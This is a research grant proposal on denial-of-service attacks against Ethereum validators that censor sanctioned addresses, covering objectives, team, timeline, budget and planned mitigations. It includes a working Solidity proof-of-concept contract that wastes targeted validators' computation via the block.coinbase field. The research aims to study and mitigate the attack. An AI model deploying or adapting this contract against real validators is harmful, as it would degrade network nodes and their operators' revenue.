Denial-of-Service Implications of Blockchain Censorship

Contact

• Authors: Aviv Yaish, Kaihua Qin, Liyi Zhou, Arthur Gervais
• Email: aviv.yaish@mail.huji.ac.il

Abstract

Blockchain censorship not only impacts neutrality, but also security. Censorship implies that blockchain validators become vulnerable to Denial-of-Service (DoS) attacks, as to-be-censored transactions are not liable to pay transaction fees. Thus, an attacker can potentially create computationally complex transactions that tax the resources of validators, without paying for the computational resources which were used to validate the transactions.

Our goal is to classify potential DoS attack vectors that arise when censoring validators are present in the network, benchmark their effect on validators’ computational resources and revenue, and find mitigations for them.

Objectives

What are you hoping to accomplish with this grant?

Our proposal aims to produce prototype attacks which rely on censorship as a novel and cheap DoS attack vector against censoring validators.

To evaluate these attacks, we will create an open-source benchmarking tool which will measure the resource consumption required for transaction validation by a given Ethereum client. Furthermore, the tool will be able to fork Ethereum’s state at arbitrary points in time to quantify the effect of the blockchain’s state on validation time and memory consumption.

We will evaluate potential mitigations for the attacks.

How do you define and measure success for this project?

The success of the proposal can be measured using multiple metrics.

• Our project intends to serve and be of use to the community. Thus, one metric for success will be the ease of installation and ease of use of our intended tools.
• We aim to showcase a new DoS attack vector against censoring validators. So, another metric for the project’s success will be the “DoS amplification factor” of our attack, which is defined to be the ratio between the computational resources that can be wasted by an attacker, and the computational resources which are required by the attacker to mount the attack.
• To measure the real-world implications of our attacks, we will quantify their impact on the rate at which a victim node can validate newely received transactions from the peer-to-peer layer. A successful attack should be able to trigger a higher rate of “missed transactions”.
• Finally, we will propose mitigations for the aforementioned attacks. These mitigations will be measured in their ability to limit the effects of our attacks.

Outcomes

How does this project benefit the greater Ethereum ecosystem?

The Ethereum community will benefit from the project in several ways.

• Our tool will be open-sourced as an easy-to-install and easy-to-use package
• As the community is exploring methods to improve the EVM’s performance, tools such as ours could be of considerable use
• The attacks we will implement will possibly uncover new weak-points for the Ethereum ecosystem which should be addressed to ensure a high quality-of-service to users and a steady revenue stream to validators
• The mitigations we will explore have the potential to both prevent attacks relying on censorship as a DoS vector, and to prevent other attacks which attempt to DoS Ethereum validators

Grant Scope

What is the expected output?

We aim to deliver the following:

• Prototype implementations of attacks that rely on censorship, as a cheap DoS attack vector against blockchain validators
• An open-source benchmarking framework to analyze the computational resources required by an attacker to mount the aforementioned attacks, and the amount of resources required to validate a single attack transaction. The benchmarking framework can fork the Ethereum blockchain at any historic time point, to evaluate the effect of the blockchain’s state on the attacks
• An economic analysis of the costs of said attacks for an attacker, and the losses by victims
• Potential mitigations for the attacks, such as speculative execution. The success of these mitigations will be quantified using the same benchmarking framework
• A scientific paper detailing the attacks and their empirical and economical analyses

Project Team

The project team consists of four people, three PhD students and a professor. The PhD students working on the project are Aviv Yaish, Kaihua Qin and Liyi Zhou. The professor supervising the research team will be Arthur Gervais, Associate Professor at UCL.

Background

The project team has extensive experience in the field of blockchain research.

Aviv Yaish is a PhD student at The Hebrew University, under the supervision of Aviv Zohar. He has previously worked on the economics and security of blockchains, including a recent paper showcasing an attack on Proof-of-Work Ethereum and another work on the economics of transaction fee mechanisms. For more details on Aviv’s previous work, please refer to his twitter and Google Scholar page.

Arthur Gervais is an Associate Professor at University College London (UCL) and a leading expert in the field of blockchain security. He has published numerous papers on the security and privacy of blockchain systems, including On the security and performance of proof of work blockchains, a top-100 information security paper of all time. For more details on Arthur’s previous work, please refer to his website and Google Scholar page.

Kaihua Qin is a PhD student at Imperial College London (ICL), working with Arthur Gervais. Kaihua’s body of works focus on the security of decentralized finance protocols, including a recent paper on the blockchain dark forest and an empirical study of DeFi liquidations. For more details on Kaihua’s previous work, please refer to his Google Scholar page.

Liyi Zhou is a PhD student at UCL, working with Arthur Gervais. He has previously worked on blockchain security and privacy research. Among his recent works, one can find a paper on recent DeFi Attacks and a paper on high-frequency trading on decentralized on-chain exchanges. For more details on Liyi’s previous work, please refer to his Google Scholar page.

In addition, the project team has published numerous papers in top-tier academic venues, including ACM Conference on Economics and Computation, IEEE Symposium on Security and Privacy, USENIX Security Symposium, and ACM Conference on Computer and Communications Security. Overall, the project team has the necessary experience and expertise to undertake the proposed research project.

Methodology

How do you plan to achieve your research objectives?

Our general research methodology involves formulating end-goals which are novel, yet concrete and feasible. These goals are then broken down to reasonably-sized milestones. These milestones are detailed in the Timeline section.

We have begun prototyping our milestones and producing first drafts for each one. Thus, we are sure in our ability to bring the project to fruition. These rough versions will be fleshed-out and polished, until reaching their final, finished forms.

Preliminary Results

We produced the following preliminary results, as a proof-of-concept for the project:

• A preliminary evaluation framework which consists of a fork of geth which can be used to measure computational impact of an attack against a victim which has an empty blockchain state.
• A basic DoS attack which relies on Solidity’s block.coinbase field to create transactions that trigger a computationally complex execution flow only when the executing validator belongs to some predefined set of validators, otherwise a simple flow is taken. This computationally complex flow culminates with an interaction with some address C. If the set of validators is comprised only of validators that censor address C, then they cannot include the transaction in a block and thus cannot collect fees from it. On the other hand, if a validator which does not censor address C executes the transaction, the fees which can be collected are bounded. We provide an implementation of the basic attack, and a graphical depiction of it. Using our preliminary evaluation framework, we calculate the attack’s DoS amplification factor to be equal to 3400, meaning that an attacker can DoS a single victim, even if the latter is in possession of hardware that is 3400 times more performant than that of the former.
• We note that this specific attack is limited in that would-be victims can circumvent it by switching to a different coinbase address whenever a new attack is mounted against them.
• Two prototypes of more advanced attacks which cannot be mitigated using the aforementioned fix are currently in various stages of development.

A figure depicting the basic attack

An implementation of the basic attack

pragma solidity >=0.7.0 <0.9.0;
contract CensorshipDoSAttack {
 mapping (address => bool) private _shouldDoS;

 /// @notice Creates a set of the validators to DoS.
 constructor() {
  // Add the validators you would like to DoS here:
  _shouldDoS[AddressToDoS1] = true;
  // _shouldDoS[AddressToDoS2] = true;
  // _shouldDoS[AddressToDoS3] = true;
  // ...
 }

 /// @notice Call this function to execute the attack.
 /// @param i The number of complex iterations.
 function DoS(uint32 i) external payable {
  // Check if the current validator should be DoSed:
  bool shouldDoS = _shouldDoS[block.coinbase];
  assembly {
   if shouldDoS {
    // The computationally complex part of our TX:
    for { } gt(i, 0) { i := sub(i, 1) } {
     pop(extcodehash(xor(blockhash(number()), gas())))
    }
    // Replace "CensoredAddress" with your favorite
    // sanctioned address!
    pop(call(gas(), CensoredAddress, 1, 0, 0, 0, 0))
   }
   stop()
  }
 }
}

Timeline

The project is expected to take 12 months to complete, with the following timeline and milestones:

• Months 1-2: prototype implementations of attacks that rely on censorship, as a cheap DoS attack vector against blockchain validators
• Months 3-5: a benchmarking framework to analyze the computational resources required by an attacker to mount the aforementioned attacks, and the amount of resources required to validate a single attack transaction
• Month 6: An economic analysis of the costs of said attacks for an attacker, and the losses by victims
• Months 7-10: evaluate potential mitigation techniques
• Month 11: write a scientific paper detailing the attacks and their empirical and economical analyses
• Month 12: open-source the benchmarking tool under a permissive license, making sure it is easily installable and used. Additionally, ensure that all results are completely reproducible

Budget

For this project, we request partial support for the PhD students working on this project, amounting to $72,000.

• Principle Researchers Costs: $72,000
• Other Staff Costs: $0
• Hardware Costs: $0
• Software Costs: $0
• Data Collection Costs: $0